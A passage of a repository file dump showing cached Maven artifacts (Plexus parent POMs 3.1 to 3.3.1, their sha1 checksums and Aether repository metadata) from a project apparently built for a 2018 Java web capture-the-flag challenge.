<unsubscribe>http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/user</archive>\n      <post>user@plexus.codehaus.org</post>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Developer List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/dev</archive>\n      <post>dev@plexus.codehaus.org</post>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Announce List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/announce</archive>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Commit List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/scm</archive>\n    </mailingList>\n  </mailingLists>\n\n  <scm>\n    <connection>scm:git:git@github.com:sonatype/plexus-pom.git</connection>\n    <developerConnection>scm:git:git@github.com:sonatype/plexus-pom.git</developerConnection>\n    <url>http://github.com/sonatype/plexus-pom</url>\n  </scm>\n  <issueManagement>\n    <system>JIRA</system>\n    <url>http://jira.codehaus.org/browse/PLX</url>\n  </issueManagement>\n  <ciManagement>\n    <notifiers>\n      <notifier>\n        <type>mail</type>\n        <configuration>\n          <address>dev@plexus.codehaus.org</address>\n        </configuration>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n  <distributionManagement>\n    <repository>\n      <id>plexus-releases</id>\n      <name>Plexus Release Repository</name>\n      <url>https://oss.sonatype.org/service/local/staging/deploy/maven2/</url>\n    </repository>\n    <snapshotRepository>\n      <id>plexus-snapshots</id>\n      <name>Plexus Snapshot Repository</name>\n      <url>${plexusDistMgmtSnapshotsUrl}</url>\n    </snapshotRepository>\n    <site>\n      <id>codehaus.org</id>\n      <url>dav:https://dav.codehaus.org/plexus</url>\n    </site>\n  </distributionManagement>\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <plexusDistMgmtSnapshotsUrl>https://oss.sonatype.org/content/repositories/plexus-snapshots</plexusDistMgmtSnapshotsUrl>\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.2</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <!-- set versions of common plugins for reproducibility, ordered alphabetically -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-clean-plugin</artifactId>\n          <version>2.4.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.3.2</version>\n          <configuration>\n            <source>1.5</source>\n            <target>1.5</target>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.6</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <version>1.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.3.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.3.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.8.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-plugin-plugin</artifactId>\n          <version>2.8</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.2.1</version>\n          <configuration>\n            <goals>deploy</goals>\n            <useReleaseProfile>false</useReleaseProfile>\n            <arguments>-Pplexus-release</arguments>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>3.0</version>\n          <dependencies>\n            <dependency>\n              <groupId>org.apache.maven.wagon</groupId>\n              <artifactId>wagon-webdav-jackrabbit</artifactId>\n              <version>2.2</version>\n            </dependency>\n          </dependencies>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.1.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>2.12</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>2.4</version>\n        <reportSets>\n          <reportSet>\n            <reports>\n              <report>index</report>\n              <report>summary</report>\n              <report>modules</report>\n              <report>license</report>\n              <report>project-team</report>\n              <report>scm</report>\n              <report>issue-tracking</report>\n              <report>mailing-list</report>\n              <report>dependency-management</report>\n              <report>dependencies</report>\n              <report>dependency-convergence</report>\n              <report>cim</report>\n              <report>plugin-management</report>\n              <report>plugins</report>\n              <report>distribution-management</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <profile>\n      <id>reporting</id>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-project-info-reports-plugin</artifactId>\n            <version>2.4</version>\n            <reportSets>\n              <reportSet>\n                <reports>\n                  <report>index</report>\n                  <report>summary</report>\n                  <report>modules</report>\n                  <report>license</report>\n                  <report>project-team</report>\n                  <report>scm</report>\n                  <report>issue-tracking</report>\n                  <report>mailing-list</report>\n                  <report>dependency-management</report>\n                  <report>dependencies</report>\n                  <report>dependency-convergence</report>\n                  <report>cim</report>\n                  <report>plugin-management</report>\n                  <report>plugins</report>\n                  <report>distribution-management</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-surefire-report-plugin</artifactId>\n            <version>2.9</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-checkstyle-plugin</artifactId>\n            <version>2.6</version>\n            <configuration>\n              <configLocation>config/maven_checks.xml</configLocation>\n              <headerLocation>https://raw.github.com/sonatype/plexus-pom/master/src/main/resources/config/plexus-header.txt</headerLocation>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-pmd-plugin</artifactId>\n            <version>2.5</version>\n            <configuration>\n              <targetJdk>1.5</targetJdk>\n              <rulesets>\n                <ruleset>rulesets/maven.xml</ruleset>\n              </rulesets>\n              <excludeRoots>\n                <excludeRoot>${project.build.directory}/generated-sources/modello</excludeRoot>\n                <excludeRoot>${project.build.directory}/generated-sources/plugin</excludeRoot>\n              </excludeRoots>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>taglist-maven-plugin</artifactId>\n            <version>2.4</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jxr-plugin</artifactId>\n            <version>2.2</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <version>2.8</version>\n            <configuration>\n              <detectLinks>true</detectLinks>\n              <links>\n                <link>http://junit.sourceforge.net/javadoc/</link>\n              </links>\n            </configuration>\n            <reportSets>\n              <reportSet>\n                <reports>\n                  <report>javadoc</report>\n                  <report>test-javadoc</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n    <profile>\n      <id>plexus-release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n              <passphrase>${gpg.passphrase}</passphrase>\n            </configuration>\n            <executions>\n              <execution>\n                <id>sign-artifacts</id>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <goals>\n                  <goal>jar-no-fork</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-javadocs</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>maven-3</id>\n      <activation>\n        <file>\n          <!-- This employs that the basedir expression is only recognized by Maven 3.x (see MNG-2363) -->\n          <exists>${basedir}</exists>\n        </file>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-site-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-descriptor</id>\n                <goals>\n                  <goal>attach-descriptor</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/3.1/plexus-3.1.pom.sha1",
    "content": "b64de86ceaa4f0e4d8ccc44a26c562c6fb7fb230"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/3.3/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:01 CST 2018\nplexus-3.3.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/3.3/plexus-3.3.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nCopyright The Codehaus Foundation.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.sonatype.spice</groupId>\n    <artifactId>spice-parent</artifactId>\n    <version>17</version>\n  </parent>\n\n  <groupId>org.codehaus.plexus</groupId>\n  <artifactId>plexus</artifactId>\n  <packaging>pom</packaging>\n  <version>3.3</version>\n\n  <name>Plexus</name>\n  <description>The Plexus project provides a full software stack for creating and executing software projects.</description>\n  <url>http://plexus.codehaus.org/</url>\n  <inceptionYear>2001</inceptionYear>\n  <organization>\n    <name>Codehaus</name>\n    <url>http://www.codehaus.org/</url>\n  </organization>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n\n  <developers>\n    <developer>\n      <id>jvanzyl</id>\n      <name>Jason van Zyl</name>\n      <email>jason@maven.org</email>\n      <roles>\n        <role>Developer</role>\n        <role>Release Manager</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kaz</id>\n      <name>Pete Kazmier</name>\n      <email />\n      <organization />\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jtaylor</id>\n      <name>James Taylor</name>\n      <email>james@jamestaylor.org</email>\n      <organization />\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dandiep</id>\n      <name>Dan Diephouse</name>\n      <email>dan@envoisolutions.com</email>\n      <organization>Envoi solutions</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kasper</id>\n      <name>Kasper Nielsen</name>\n      <email>apache@kav.dk</email>\n      <organization />\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bwalding</id>\n      <name>Ben Walding</name>\n      <email>bwalding@codehaus.org</email>\n      <organization>Walding Consulting Services</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>mhw</id>\n      <name>Mark Wilkinson</name>\n      <email>mhw@kremvax.net</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>michal</id>\n      <name>Michal Maczka</name>\n      <email>mmaczka@interia.pl</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>evenisse</id>\n      <name>Emmanuel Venisse</name>\n      <email>evenisse@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Trygve Laugstøl</name>\n      <id>trygvis</id>\n      <email>trygvis@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Kenney Westerhof</name>\n      <id>kenney</id>\n      <email>kenney@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Carlos Sanchez</name>\n      <id>carlos</id>\n      <email>carlos@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Brett Porter</name>\n      <id>brett</id>\n      <email>brett@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>John Casey</name>\n      <id>jdcasey</id>\n      <email>jdcasey@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Andrew Williams</name>\n      <id>handyande</id>\n      <email>andy@handyande.co.uk</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Rahul Thakur</name>\n      <id>rahul</id>\n      <email>rahul.thakur.xdev@gmail.com</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Joakim Erdfelt</name>\n      <id>joakime</id>\n      <email>joakim@erdfelt.com</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Olivier Lamy</name>\n      <id>olamy</id>\n      <email>olamy@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Hervé Boutemy</name>\n      <id>hboutemy</id>\n      <email>hboutemy@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Oleg Gusakov</name>\n      <id>oleg</id>\n      <email>olegy@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Vincent Siveton</name>\n      <id>vsiveton</id>\n      <email>vsiveton@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n  </developers>\n\n  <mailingLists>\n    <mailingList>\n      <name>Plexus User List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/user</archive>\n      <post>user@plexus.codehaus.org</post>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Developer List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/dev</archive>\n      <post>dev@plexus.codehaus.org</post>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Announce List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/announce</archive>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Commit List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/scm</archive>\n    </mailingList>\n  </mailingLists>\n\n  <scm>\n    <connection>scm:git:git@github.com:sonatype/plexus-pom.git</connection>\n    <developerConnection>scm:git:git@github.com:sonatype/plexus-pom.git</developerConnection>\n    <url>http://github.com/sonatype/plexus-pom</url>\n    <tag>plexus-3.3</tag>\n  </scm>\n  <issueManagement>\n    <system>JIRA</system>\n    <url>http://jira.codehaus.org/browse/PLX</url>\n  </issueManagement>\n  <ciManagement>\n    <notifiers>\n      <notifier>\n        <type>mail</type>\n        <configuration>\n          <address>dev@plexus.codehaus.org</address>\n        </configuration>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n  <distributionManagement>\n    <repository>\n      <id>plexus-releases</id>\n      <name>Plexus Release Repository</name>\n      <url>https://oss.sonatype.org/service/local/staging/deploy/maven2/</url>\n    </repository>\n    <snapshotRepository>\n      <id>plexus-snapshots</id>\n      <name>Plexus Snapshot Repository</name>\n      <url>${plexusDistMgmtSnapshotsUrl}</url>\n    </snapshotRepository>\n    <site>\n      <id>codehaus.org</id>\n      <url>dav:https://dav.codehaus.org/plexus</url>\n      <!--\n       dav.codehaus.org requires a specific CA\n       see http://docs.codehaus.org/display/HAUSMATES/Installing+a+new+CA+into+the+JDK\n       to avoid following failure:\n       javax.net.ssl.SSLHandshakeException: sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target\n      -->\n    </site>\n  </distributionManagement>\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <plexusDistMgmtSnapshotsUrl>https://oss.sonatype.org/content/repositories/plexus-snapshots</plexusDistMgmtSnapshotsUrl>\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.2</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <!-- set versions of common plugins for reproducibility, ordered alphabetically -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-clean-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.5.1</version>\n          <configuration>\n            <source>1.5</source>\n            <target>1.5</target>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.7</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <version>1.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.9</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-plugin-plugin</artifactId>\n          <version>3.1</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.3.2</version>\n          <configuration>\n            <goals>deploy</goals>\n            <useReleaseProfile>false</useReleaseProfile>\n            <arguments>-Pplexus-release</arguments>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>2.6</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>3.2</version>\n          <dependencies>\n            <dependency>\n              <groupId>org.apache.maven.wagon</groupId>\n              <artifactId>wagon-webdav-jackrabbit</artifactId>\n              <version>2.2</version>\n            </dependency>\n            <dependency>\n              <groupId>org.slf4j</groupId>\n              <artifactId>slf4j-api</artifactId>\n              <version>1.7.2</version>\n            </dependency>\n            <dependency>\n              <groupId>org.slf4j</groupId>\n              <artifactId>slf4j-simple</artifactId>\n              <version>1.7.2</version>\n            </dependency>\n          </dependencies>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.2.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>2.12.4</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>2.6</version>\n        <reportSets>\n          <reportSet>\n            <reports>\n              <report>index</report>\n              <report>summary</report>\n              <report>dependency-info</report>\n              <report>modules</report>\n              <report>license</report>\n              <report>project-team</report>\n              <report>scm</report>\n              <report>issue-tracking</report>\n              <report>mailing-list</report>\n              <report>dependency-management</report>\n              <report>dependencies</report>\n              <report>dependency-convergence</report>\n              <report>cim</report>\n              <report>plugin-management</report>\n              <report>plugins</report>\n              <report>distribution-management</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <profile>\n      <id>reporting</id>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-project-info-reports-plugin</artifactId>\n            <version>2.6</version>\n            <reportSets>\n              <reportSet>\n                <reports>\n                  <report>index</report>\n                  <report>summary</report>\n                  <report>dependency-info</report>\n                  <report>modules</report>\n                  <report>license</report>\n                  <report>project-team</report>\n                  <report>scm</report>\n                  <report>issue-tracking</report>\n                  <report>mailing-list</report>\n                  <report>dependency-management</report>\n                  <report>dependencies</report>\n                  <report>dependency-convergence</report>\n                  <report>cim</report>\n                  <report>plugin-management</report>\n                  <report>plugins</report>\n                  <report>distribution-management</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-surefire-report-plugin</artifactId>\n            <version>2.12.4</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-checkstyle-plugin</artifactId>\n            <version>2.9.1</version>\n            <configuration>\n              <configLocation>config/maven_checks.xml</configLocation>\n              <headerLocation>https://raw.github.com/sonatype/plexus-pom/master/src/main/resources/config/plexus-header.txt</headerLocation>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-pmd-plugin</artifactId>\n            <version>2.7.1</version>\n            <configuration>\n              <targetJdk>1.5</targetJdk>\n              <rulesets>\n                <ruleset>rulesets/maven.xml</ruleset>\n              </rulesets>\n              <excludeRoots>\n                <excludeRoot>${project.build.directory}/generated-sources/modello</excludeRoot>\n                <excludeRoot>${project.build.directory}/generated-sources/plugin</excludeRoot>\n              </excludeRoots>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>findbugs-maven-plugin</artifactId>\n            <version>2.5.2</version>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>taglist-maven-plugin</artifactId>\n            <version>2.4</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jxr-plugin</artifactId>\n            <version>2.3</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <version>2.9</version>\n            <configuration>\n              <detectLinks>true</detectLinks>\n              <links>\n                <link>http://junit.sourceforge.net/javadoc/</link>\n              </links>\n            </configuration>\n            <reportSets>\n              <reportSet>\n                <reports>\n                  <report>javadoc</report>\n                  <report>test-javadoc</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>cobertura-maven-plugin</artifactId>\n            <version>2.5.2</version>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n    <profile>\n      <id>plexus-release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n              <passphrase>${gpg.passphrase}</passphrase>\n            </configuration>\n            <executions>\n              <execution>\n                <id>sign-artifacts</id>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <goals>\n                  <goal>jar-no-fork</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-javadocs</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>maven-3</id>\n      <activation>\n        <file>\n          <!-- This employs that the basedir expression is only recognized by Maven 3.x (see MNG-2363) -->\n          <exists>${basedir}</exists>\n        </file>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-site-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-descriptor</id>\n                <goals>\n                  <goal>attach-descriptor</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/3.3/plexus-3.3.pom.sha1",
    "content": "70ab8436286998acce80e63fe75067a70cfe3e43"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/3.3.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:59 CST 2018\nplexus-3.3.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/3.3.1/plexus-3.3.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nCopyright The Codehaus Foundation.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.sonatype.spice</groupId>\n    <artifactId>spice-parent</artifactId>\n    <version>17</version>\n  </parent>\n\n  <groupId>org.codehaus.plexus</groupId>\n  <artifactId>plexus</artifactId>\n  <packaging>pom</packaging>\n  <version>3.3.1</version>\n\n  <name>Plexus</name>\n  <description>The Plexus project provides a full software stack for creating and executing software projects.</description>\n  <url>http://plexus.codehaus.org/</url>\n  <inceptionYear>2001</inceptionYear>\n  <organization>\n    <name>Codehaus</name>\n    <url>http://www.codehaus.org/</url>\n  </organization>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n\n  <developers>\n    <developer>\n      <id>jvanzyl</id>\n      